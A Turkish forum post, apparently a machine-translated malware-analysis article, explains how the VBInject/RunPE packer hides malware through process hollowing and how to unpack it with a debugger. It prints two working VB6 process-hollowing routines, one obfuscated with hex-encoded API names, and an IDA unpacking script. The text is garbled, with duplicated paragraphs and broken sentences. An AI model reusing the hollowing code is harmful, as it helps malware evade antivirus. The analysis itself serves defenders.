Isse Kun
Emektar Üye
VBInject (VBCrypt veya RunPE olarak da bilinir), paketleyicilerin bir ailedir (aslında ... VBInject, hedef dosyanın boyutunu artıracaktır) Visual Basic 6.0'da yazılır. Antivirüs satıcıları için eşcinsel bir ağrı çünkü paketlenmiş dosyanın içinde ne olduğunu söylemek zor. Birisi belirli bir örneği zaten paketinden çıkarmamış ve bir imza oluşturmamışsa, çoğu AV ürünü VBInject paketli bir yürütülebilir dosyayı yalnızca VBInject olarak işaretleyecektir. VBInject'in kendisini tespit etmek kolaydır - içerideki şeyin daha zor olduğunu tespit etmek. Bu, VBInject için bulduğunuz herhangi bir kaldırma talimatının yanlış olacağı anlamına gelir - VBInject paketlenmiş bir dosya başka bir zararlı yazılım parçası içerebilir. Bilgisayar korsanlarının VBInject kullanmasının sebebi, kötü amaçlı yazılımların AV tarafından tespit edilmesini önlemektir. Bir AV satıcısı bir örneği tarar ve VBInject olarak algılandığını bulursa,
VBInject ve VBCrypt endüstri tarafından icat edilen isimlerdir, ancak yeraltında bu araçlar genellikle RunPE olarak adlandırılır, bu yüzden bu ismi kullanacağım. Ayrıca yazmak daha kolay.
RunPE paketli bir yürütülebilir dosyayı açmak ve analiz etmek bu kadar zor kılan nedir? RunPE ve geleneksel packers / crypters / protectors arasında birkaç temel fark vardır.
Orada RunPE varyantları TONS var ve her istediğini packer / kriptor yazar kendi yazıyor. VB6, herkes bunu yapabilir, sadece birkaç dizeyi arayabilir ve değiştirebilir ve özel bir kopyanız vardır. Muhteşem grafikler içeren RunPE jeneratörleri bile var.
Bu kendini bir FUD RunPE jeneratörü olarak tanıtır. FUD, yeraltındaki çocuklara "tamamen tespit edilemez" anlamına gelir - bu, hiçbir AV yazılımının güzel kötü amaçlı yazılımlarınızı algılayamayacağı anlamına gelir (ancak FUD olarak ilan edilen paketleyiciler uzun süre bu şekilde kalmaz). Tüm bu şey, ATPE kaynağının (VB.NET sürümü) bir kopyasının rastgele sınıf ve işlev isimleriyle birlikte, içine atılan bazı çöp kodları ile tükendi. Birçok AV ürününü kandırmak yeterli. Bu şirketlerde çalışan arkadaşlarıma hakaret etmekten kaçınanları söylemeyeceğim.
Peki, RunPE nereden geldi? Kim bilir ki, ilk gördüğüm referans 2009'un başlarındaydı, 2009'un ortalarında gerçekten popüler olmaya başladı ve şimdi herkes bunu kullanıyor. İlk kamu yayınından bu yana gelişiyor. Örneğin, ilk sürümü
Tüm bu sapkınlığın ardında, hepsi aynı şekilde çalışır:
Bu sürüm herhangi bir şifreleme yapmamış veya EXE kodunu gizlememiş, tüm ithalatlar çeşitli PE araçlarından görülebiliyordu ve
Şimdi burada daha yeni ve oldukça gizlenmiş bir versiyon var:
Yeni sürümün gizlenmiş DLL çağrıları kullandığını görebilirsiniz - bu nedenle
O GetProcAddress çağrısı bir DLL işlevi çağrısı yapmıyor - aslında bellekte modülün ithalat dizini kateden ediyor. VB kodunda! Bu kod bu makalenin kapsamı dışındadır, ancak bunun bir sürümünü
Şimdi RunPE'nin nasıl çalıştığını biliyoruz. Kodu, yeni başlatılan bir sürece ayıkladığı ve kendi işleminin olmadığı için, birçok otomatik ambalajlayıcı, örneğin paketlendiğini algılayamaz - kendi bellek alanını değiştirmez. Paketi açmak için bazı özel teknikler gerektirir. Zor değil - bu aslında nasıl olduğunu bildiğinizden sonra açmak için en kolay paketleyicilerinden biridir. Bunun nedeni, içe aktarma tablolarının yeniden oluşturulmasını, orijinal giriş noktasını (OEP) bulmayı, yer değiştirmeyi düzeltmeyi veya bölümleri yeniden hizalamayı gerektirmemesidir.
Hile (herhangi bir hata ayıklayıcısını kullanarak) önce CreateProcessW üzerinde bir kesme noktası belirlemektir . Bu, CreateProcessA'ya da çağrıları yakalayalım . Bu kırılma noktası kazandıBir süreci başlatmak için alt sistem, ancak bunun asla gerçekleşmeyeceğini umuyoruz. CreateProcessW'yi bozduktan sonra , 6. argümanın ( ESP + 24'te ) 0x00000004 setine sahip olduğundan emin olabiliriz - bu CREATE_SUSPENDED bayrağının değeridir . Bu bayrak ayarlanmamışsa, RunPE dışında başka bir şey devam ediyor.
Şimdi bu işlevin dışına çıkıp NtWriteVirtualMemory üzerinde bir kesme noktası belirleyebiliriz ( WriteProcessMemory çağrıları bu yüzden de bu aramayı kullanan sürümleri yakalarız). CreateProcessW bitirdikten sonra beklemenin nedeni NtWriteVirtualMemory çünkübir sürecin oluşturulması sırasında birkaç kez çağrılır - biz sadece RunPE çağırdığında kırmak isteriz. Kesme noktası ayarlandığında, yürütmeye devam edin. Bir sonraki ara, RunPE, yeni EXE baytlarını, oluşturulan yeni işlem üzerinde yazdığında olmalıdır. NtWriteVirtualMemory ( ESP + 16'da ) 3. argümanı, kopyalanan arabelleğin bir göstericisidir. Bu EXE dosyasının başlangıcı olacaktır. Bir EXE dosyasına benzediğinden emin olmak için belleği hata ayıklayıcınızla inceleyin.
Bu EXE dosyası (muhtemelen) disk biçimindedir - belleğe eşlenmemiş. RunPE eşleştirmeyi kendisi yapar. Bu sadece baytları dosyaya dökebileceğimiz anlamına geliyor. Zor kısım, kaç bayt yazacağını bulmaktır. Hızlı ve kirli yöntem PE opsiyonel başlığın kullanılmasıdır.SizeOfImage alanı, ancak size disk boyutu hemen hemen her zaman SizeOfImage daha az olduğundan, bazı ekstra bayt alır . Tercih ettiğim yöntem biraz daha zarif - Son bölümün PtrToRawData ve SizeOfRawData üyelerini kullanarak PE dosyasının boyutunu hesaplıyorum . Bu, bir PE dosyasındaki baytları, sonunda taranmış şeylerle özlüyor olabilir, ancak bunu yapmak için RunPE ile paketlenmiş herhangi bir PE dosyasına rastlamadım. Aslında, RunPE kodunun kendisi son bölümün sonunda baytları kopyalamayı durdurur.
İkinci kez bu süreçten geçmek zorunda kaldım,
Hata ayıklayıcısını başlatacak, bazı sınırlama noktaları ayarlayacak, ardından paketlenmemiş PE dosyasını (varsa) "unpacked.exe" dosyasına yazacaktır. Bu betikler, üzerinde çalıştığım tüm Wild RunPE paketli kötü amaçlı yazılımlarda çalışır, ancak etrafında birçok yol vardır. Bu yüzden hata kontrolü var ve tuhaf bir şey olursa senaryoyu durdurur.
Komut bittiğinde, hata ayıklayıcı hala çalışıyor ve her iki işlem de askıya alındı. Hata ayıklanmış süreci (ve çocuk sürecini) sonlandırmak size kalmıştır, ancak bu bölüm de kolayca otomatikleştirilebilir.
VBInject ve VBCrypt endüstri tarafından icat edilen isimlerdir, ancak yeraltında bu araçlar genellikle RunPE olarak adlandırılır, bu yüzden bu ismi kullanacağım. Ayrıca yazmak daha kolay.
RunPE paketli bir yürütülebilir dosyayı açmak ve analiz etmek bu kadar zor kılan nedir? RunPE ve geleneksel packers / crypters / protectors arasında birkaç temel fark vardır.
- İşleyiş şekli. Paketlenmiş yürütülebilir, kendini yeni bir süreç olarak yeniden başlatır ve ardından işlemin belleğinin üzerine yazar. Bu, kendi süreçlerinin belleğinin üzerine yazan çoğu diğer paketleyiciden çok farklı. Genel paket açma araçları genellikle bunun üstesinden gelmek için dağıtılmamaktadır.
- Paket açma kodu, yorumlanmış bayt kodu ( p-kodu ) olarak biten VB6'da yazılmıştır . Paket açma algoritmasını anlamanın tek yolu bu kodu tersine çevirmektir. VB uygulamalarını yerel kod olarak oluşturmak mümkündür, ancak her ne sebeple olursa olsun, birçok RunPE varyantı sadece p-code olarak kurulmuşsa ve yerel yürütülebilirler olarak değillerse çalışacaktır. Bu aynı zamanda mühendisliği tersine çevirmeyi de zorlaştırıyor ... (Artık, P-kodu veya yerel olmayan VB.NET kullanan bazı sürümler var, ancak .NET
Bağlantıları görmek için lütfen Giriş Yap)
- VB kodunu okuyabiliyorsanız yeni sürümleri değiştirmek ve oluşturmak çok kolay, bu da tam olarak doktora yapmıyor. Paketleme / açma kodu bu kadar kolay bir şekilde değiştirilebildiğinden, orijinal EXE dosyasını VB kodunu (P kodu, yerel montaj veya hatta .NET IL) ters mühendislik olmadan ayıklamak için hangi algoritmanın kullanılacağını asla bilemezsiniz. Basit bir XOR veya gerçek bir şifre çözme veya dekompresyon rutini olabilir. VB ek yükü, tersine mühendislik yoluna girmek için fazladan bir gizleme katmanı ekler.
Orada RunPE varyantları TONS var ve her istediğini packer / kriptor yazar kendi yazıyor. VB6, herkes bunu yapabilir, sadece birkaç dizeyi arayabilir ve değiştirebilir ve özel bir kopyanız vardır. Muhteşem grafikler içeren RunPE jeneratörleri bile var.
Bu kendini bir FUD RunPE jeneratörü olarak tanıtır. FUD, yeraltındaki çocuklara "tamamen tespit edilemez" anlamına gelir - bu, hiçbir AV yazılımının güzel kötü amaçlı yazılımlarınızı algılayamayacağı anlamına gelir (ancak FUD olarak ilan edilen paketleyiciler uzun süre bu şekilde kalmaz). Tüm bu şey, ATPE kaynağının (VB.NET sürümü) bir kopyasının rastgele sınıf ve işlev isimleriyle birlikte, içine atılan bazı çöp kodları ile tükendi. Birçok AV ürününü kandırmak yeterli. Bu şirketlerde çalışan arkadaşlarıma hakaret etmekten kaçınanları söylemeyeceğim.
Peki, RunPE nereden geldi? Kim bilir ki, ilk gördüğüm referans 2009'un başlarındaydı, 2009'un ortalarında gerçekten popüler olmaya başladı ve şimdi herkes bunu kullanıyor. İlk kamu yayınından bu yana gelişiyor. Örneğin, ilk sürümü
Bağlantıları görmek için lütfen
Giriş Yap
kullanıldı
Bağlantıları görmek için lütfen
Giriş Yap
yeni sürece bellek yazmak. Daha sonraki sürümlerde benim breakpoints kadar berbat
Bağlantıları görmek için lütfen
Giriş Yap
kullanılır . Daha yeni sürümler, normal VB6 DLL içe aktarma işlevini kullanmazlar ve aslında DLL modüllerini yüklemek ve harici işlevleri çağırmak için derleme kodunda yazılı olan nesneleri kullanırlar (NTRUNPE, cNtPEL, vb.). Her birkaç ayda bir daha fazla gizlenmiş bir versiyon görünecektir.Tüm bu sapkınlığın ardında, hepsi aynı şekilde çalışır:
- Orijinal EXE dosyasını bellekteki (VB kodundaki bir bayt dizisi olarak saklanan) şifresini çözme / açma / çözme
- CREATE_SUSPENDED bayrağını kullanarak bir hedef EXE'de (genellikle şu anda yürürlükte olan aynı EXE
Bağlantıları görmek için lütfen Giriş Yapçağırın . Bu, yürütülebilir dosyayı belleğe eşler ve yürütmeye hazırdır, ancak giriş noktası henüz yürütülmemiştir.
- Çağrı
Bağlantıları görmek için lütfen Giriş Yapyeni bir işlem tarafından kullanılan sanal adres alanını eşleşmesini kaldırmayı
- İşlemin adres alanındaki belleği doğru boyuta (yeni EXE'in boyutuna
Bağlantıları görmek için lütfen Giriş Yapyeniden tahsis etmek içinBağlantıları görmek için lütfen Giriş Yapçağırın.
- PE üstbilgileri ve yeni EXE'in her bir bölümünü (1. Adımda paketlenmemiş) yazmak istedikleri sanal adres konumuna ( her bölümün gereksinim duyduğu koruma işaretlerini ayarlamak için
Bağlantıları görmek için lütfen Giriş Yapçağırmak içinBağlantıları görmek için lütfen Giriş Yapçağırın .
- Yeni yürütülebilir dosyayı çalıştırmaya başlamak için
Bağlantıları görmek için lütfen Giriş Yapve ardındanBağlantıları görmek için lütfen Giriş Yapçağırın .
C++:
If CreateProcess(vbNullString, sVictim, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
MsgBox "Can not start victim process!", vbCritical
Exit Function
End If
context.ContextFlags = CONTEXT86_INTEGER
If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)
If addr = 0 Then GoTo ClearProcess
If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
If ImageBase = 0 Then GoTo ClearProcess
Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret)
lOffset = idh.e_lfanew + Len(inh)
For i = 0 To inh.FileHeader.NumberOfSections - 1
CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret)
Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr)
Next i
Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret)
context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
Call SetThreadContext(pi.hThread, context)
Call ResumeThread(pi.hThread)
Bu sürüm herhangi bir şifreleme yapmamış veya EXE kodunu gizlememiş, tüm ithalatlar çeşitli PE araçlarından görülebiliyordu ve
Bağlantıları görmek için lütfen
Giriş Yap
çağrılarını hataların bildirilmesi için kullandı . İkili üzerinde
Bağlantıları görmek için lütfen
Giriş Yap
çalıştırmak size neler olduğu hakkında iyi bir fikir verebilir. Genel olarak, çok gizli değil.Şimdi burada daha yeni ve oldukça gizlenmiş bir versiyon var:
C++:
'kernel32
lKernel = LoadLibrary(nlfpkgnrj("6B65726E656C3332"))
'ntdll
lNTDll = LoadLibrary(nlfpkgnrj("6E74646C6C"))
If sHost = vbNullString Then
sHost = Space(260)
'GetModuleFileNameW
lMod = GetProcAddress(lKernel, nlfpkgnrj("4765744D6F64756C6546696C654E616D6557"))
Invoke lMod, App.hInstance, StrPtr(sHost), 260
End If
With tIMAGE_NT_HEADERS.OptionalHeader
tSTARTUPINFO.cb = Len(tSTARTUPINFO)
'CreateProcessW
lMod = GetProcAddress(lKernel, nlfpkgnrj("43726561746550726F6365737357"))
Invoke lMod, 0, StrPtr(sHost), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(tSTARTUPINFO), VarPtr(tPROCESS_INFORMATION)
'NtUnmapViewOfSection
lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74556E6D6170566965774F6653656374696F6E"))
Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase
'VirtualAllocEx
lMod = GetProcAddress(lKernel, nlfpkgnrj("5669727475616C416C6C6F634578"))
Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, .SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
'NtWriteVirtualMemory
lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279"))
Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, VarPtr(bvBuff(0)), .SizeOfHeaders, 0
For i = 0 To tIMAGE_NT_HEADERS.FileHeader.NumberOfSections - 1
CpyMem tIMAGE_SECTION_HEADER, bvBuff(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i), Len(tIMAGE_SECTION_HEADER)
Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase + tIMAGE_SECTION_HEADER.VirtualAddress, VarPtr(bvBuff(tIMAGE_SECTION_HEADER.PointerToRawData)), tIMAGE_SECTION_HEADER.SizeOfRawData, 0
Next i
tCONTEXT.ContextFlags = CONTEXT_FULL
'NtGetContextThread
lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74476574436F6E74657874546872656164"))
Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
'NtWriteVirtualMemory
lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279"))
Invoke lMod, tPROCESS_INFORMATION.hProcess, tCONTEXT.Ebx + 8, VarPtr(.ImageBase), 4, 0
tCONTEXT.Eax = .ImageBase + .AddressOfEntryPoint
'NtSetContextThread
lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74536574436F6E74657874546872656164"))
Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
'NtResumeThread
lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74526573756D65546872656164"))
Invoke lMod, tPROCESS_INFORMATION.hThread, 0
hProc = tPROCESS_INFORMATION.hProcess
End With
Yeni sürümün gizlenmiş DLL çağrıları kullandığını görebilirsiniz - bu nedenle
Bağlantıları görmek için lütfen
Giriş Yap
çalıştırmak veya
Bağlantıları görmek için lütfen
Giriş Yap
ile ithalatı kontrol etmek, bu şeyin ne yaptığına dair bir ipucu vermeyecektir. Hatta VB6 betikleri veya bir VB6 decompiler ile IDA üzerinden çalışan çok yardımcı olmaz.O GetProcAddress çağrısı bir DLL işlevi çağrısı yapmıyor - aslında bellekte modülün ithalat dizini kateden ediyor. VB kodunda! Bu kod bu makalenin kapsamı dışındadır, ancak bunun bir sürümünü
Bağlantıları görmek için lütfen
Giriş Yap
( bağlantı
Bağlantıları görmek için lütfen
Giriş Yap
Google for
Bağlantıları görmek için lütfen
Giriş Yap
).Şimdi RunPE'nin nasıl çalıştığını biliyoruz. Kodu, yeni başlatılan bir sürece ayıkladığı ve kendi işleminin olmadığı için, birçok otomatik ambalajlayıcı, örneğin paketlendiğini algılayamaz - kendi bellek alanını değiştirmez. Paketi açmak için bazı özel teknikler gerektirir. Zor değil - bu aslında nasıl olduğunu bildiğinizden sonra açmak için en kolay paketleyicilerinden biridir. Bunun nedeni, içe aktarma tablolarının yeniden oluşturulmasını, orijinal giriş noktasını (OEP) bulmayı, yer değiştirmeyi düzeltmeyi veya bölümleri yeniden hizalamayı gerektirmemesidir.
Hile (herhangi bir hata ayıklayıcısını kullanarak) önce CreateProcessW üzerinde bir kesme noktası belirlemektir . Bu, CreateProcessA'ya da çağrıları yakalayalım . Bu kırılma noktası kazandıBir süreci başlatmak için alt sistem, ancak bunun asla gerçekleşmeyeceğini umuyoruz. CreateProcessW'yi bozduktan sonra , 6. argümanın ( ESP + 24'te ) 0x00000004 setine sahip olduğundan emin olabiliriz - bu CREATE_SUSPENDED bayrağının değeridir . Bu bayrak ayarlanmamışsa, RunPE dışında başka bir şey devam ediyor.
Şimdi bu işlevin dışına çıkıp NtWriteVirtualMemory üzerinde bir kesme noktası belirleyebiliriz ( WriteProcessMemory çağrıları bu yüzden de bu aramayı kullanan sürümleri yakalarız). CreateProcessW bitirdikten sonra beklemenin nedeni NtWriteVirtualMemory çünkübir sürecin oluşturulması sırasında birkaç kez çağrılır - biz sadece RunPE çağırdığında kırmak isteriz. Kesme noktası ayarlandığında, yürütmeye devam edin. Bir sonraki ara, RunPE, yeni EXE baytlarını, oluşturulan yeni işlem üzerinde yazdığında olmalıdır. NtWriteVirtualMemory ( ESP + 16'da ) 3. argümanı, kopyalanan arabelleğin bir göstericisidir. Bu EXE dosyasının başlangıcı olacaktır. Bir EXE dosyasına benzediğinden emin olmak için belleği hata ayıklayıcınızla inceleyin.
Bu EXE dosyası (muhtemelen) disk biçimindedir - belleğe eşlenmemiş. RunPE eşleştirmeyi kendisi yapar. Bu sadece baytları dosyaya dökebileceğimiz anlamına geliyor. Zor kısım, kaç bayt yazacağını bulmaktır. Hızlı ve kirli yöntem PE opsiyonel başlığın kullanılmasıdır.SizeOfImage alanı, ancak size disk boyutu hemen hemen her zaman SizeOfImage daha az olduğundan, bazı ekstra bayt alır . Tercih ettiğim yöntem biraz daha zarif - Son bölümün PtrToRawData ve SizeOfRawData üyelerini kullanarak PE dosyasının boyutunu hesaplıyorum . Bu, bir PE dosyasındaki baytları, sonunda taranmış şeylerle özlüyor olabilir, ancak bunu yapmak için RunPE ile paketlenmiş herhangi bir PE dosyasına rastlamadım. Aslında, RunPE kodunun kendisi son bölümün sonunda baytları kopyalamayı durdurur.
İkinci kez bu süreçten geçmek zorunda kaldım,
Bağlantıları görmek için lütfen
Giriş Yap
için benim için süreci otomatikleştirmek için bir
Bağlantıları görmek için lütfen
Giriş Yap
betiği yazdım . Bunu herhangi bir betik hata ayıklayıcısında yapmak mümkün olurdu.
Bağlantıları görmek için lütfen
Giriş Yap
veya
Bağlantıları görmek için lütfen
Giriş Yap
veya
Bağlantıları görmek için lütfen
Giriş Yap
gibi bir araç seti , ancak IDA son zamanlarda hata ayıklayıcım oldu bu yüzden bunu kullandım. İşte senaryo
C++:
/* RunPE unpacker - [email protected]
*
* Based on the example at http://www.hex-rays.com/idapro/scriptable.htm
*/
#include <idc.idc>
// flag for CreateProcess()
#define CREATE_SUSPENDED 0x4
static main() {
auto code, bptea;
auto esp, flags;
auto buffer;
auto filename = "unpacked.exe";
// ignore EXCEPTION_FLT_INEXACT_RESULT. VB6 uses this a lot and usually
// handles the exception, but it makes things a pain for debuggers
SetExceptionFlags(0xC000008F, 0);
Message("Starting process...\n");
// launch the debugger and run until the entry point
if (!RunTo(BeginEA()))
return Warning("Can't debug to entrypoint");
// wait until process is suspended
code = GetDebuggerEvent(WFNE_SUSP, -1);
if (code <= 0)
return Warning("Can't get debugger event");
// set breakpoint on CreateProcessW
bptea = AddHardwareBp("kernel32_CreateProcessW");
if(!bptea)
return Warning("Can't break on CreateProcessW");
// resume the execution and wait until CreateProcessW is called
code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1);
if (code <= 0)
return Warning("Can't resume execution for CreateProcessW breakpoint");
DelBpt(bptea);
// check arguments to CreateProcessW
esp = GetRegValue("ESP");
Message("CreateProcessW called from %.8X\n", Dword(esp));
Message(" lpApplicationName: %s\n", GetString(Dword(esp+4), -1, ASCSTR_UNICODE));
Message(" lpCommandLine: %s\n", GetString(Dword(esp+8), -1, ASCSTR_UNICODE));
// make sure flags contain CREATE_SUSPENDED
flags = Dword(esp+24);
if(!(flags & CREATE_SUSPENDED)) {
return Warning("Process created without CREATE_SUSPENDED flag (flag = %.8X)", flags);
}
// let the call to CreateProcessW finish - run until the return address is hit
RunTo(Dword(esp));
while(1) {
code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1);
if (code <= 0)
return Warning("Failed to let CreateProcessW finish");
if(code != STEP) break;
}
// now break on calls to NtWriteVirtualMemory
bptea = AddHardwareBp("ntdll_NtWriteVirtualMemory");
if(!bptea)
return Warning("Can't set breakpoint on NtWriteVirtualMemory");
// resume the execution and wait until NtWriteVirtualMemory is called
code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1);
if (code <= 0)
return Warning("Can't resume execution for NtWriteVirtualMemory breakpoint");
esp = GetRegValue("ESP");
buffer = Dword(esp+12);
DelBpt(bptea);
Message("NtWriteVirtualMemory called from %.8X, buffer address: %.8X\n", Dword(esp), buffer);
Message("Dumping file...\n");
DumpPE(buffer, filename);
}
// add a hardware breakpoint at the specified name.
// success: returns the address of the breakpoint
// fail: returns 0
static AddHardwareBp(name) {
auto bptea;
// get address of function
bptea = LocByName(name);
if (bptea == BADADDR) {
Message ("Could not locate %s\n", name);
return 0;
}
// set a hardware breakpoint
Message("Setting a hardware breakpoint on %s\n", name);
// XXX - this should check return value, but sometimes this call fails
// even when the breakpoint is still set (in IDA 5.7)
AddBptEx(bptea, 1, BPT_EXEC);
//if(!AddBptEx(bptea, 1, BPT_EXEC)) {
// Message("Failed to add hardware breakpoint for %s\n", name);
// return 0;
//}
return bptea;
}
// for dump_pe()
#define OPTHEADER_OFFSET 0x18
#define SECTION_HEADER_SIZE 0x28
// write a PE file stored in memory to disk. this function determines the size
// of the PE file by calculating the offset of the end of the last section.
// this can miss data stored by some PE files. there are probably better ways
// to do this, but it works for me.
static DumpPE(start_addr, filename) {
auto nt_headers, num_secs, last_sec;
auto end_addr;
auto f, ptr;
// check the DOS header magic value
SetType(start_addr, "IMAGE_DOS_HEADER;");
if(Word(start_addr.e_magic) != 0x5a4d) {
Message("Not an EXE, invalid magic: %x\n", Word(start_addr.e_magic));
return 0;
}
nt_headers = start_addr + Dword(start_addr.e_lfanew);
SetType(nt_headers, "IMAGE_NT_HEADERS;");
// check NT headers magic value
if(Dword(nt_headers.Signature) != 0x4550) {
Message("Not a PE, invalid signature: %x\n", Dword(nt_headers.Signature));
return 0;
}
// figure out number of sections
num_secs = Word(nt_headers.FileHeader.NumberOfSections);
if(num_secs > 16) {
Message("Sanity check failed, %i sections\n", num_secs);
return;
}
// get offset of last section header
last_sec = nt_headers + OPTHEADER_OFFSET + Word(nt_headers.FileHeader.SizeOfOptionalHeader) +
(SECTION_HEADER_SIZE * (num_secs - 1));
// figure out offset the end of the last section
SetType(last_sec, "IMAGE_SECTION_HEADER;");
end_addr = start_addr + Dword(last_sec.PointerToRawData) + Dword(last_sec.SizeOfRawData);
// sanity check
if(start_addr == end_addr) {
Message("Something broke, start = end = %x\n", start_addr);
return 0;
}
Message("Writing %i bytes to %s...\n", end_addr - start_addr, filename);
// write the file
f = fopen(filename, "wb");
for(ptr=start_addr; ptr<end_addr; ptr++) {
fputc(Byte(ptr), f);
}
fclose(f);
Message("Done writing file\n");
return 1;
}
Hata ayıklayıcısını başlatacak, bazı sınırlama noktaları ayarlayacak, ardından paketlenmemiş PE dosyasını (varsa) "unpacked.exe" dosyasına yazacaktır. Bu betikler, üzerinde çalıştığım tüm Wild RunPE paketli kötü amaçlı yazılımlarda çalışır, ancak etrafında birçok yol vardır. Bu yüzden hata kontrolü var ve tuhaf bir şey olursa senaryoyu durdurur.
Komut bittiğinde, hata ayıklayıcı hala çalışıyor ve her iki işlem de askıya alındı. Hata ayıklanmış süreci (ve çocuk sürecini) sonlandırmak size kalmıştır, ancak bu bölüm de kolayca otomatikleştirilebilir.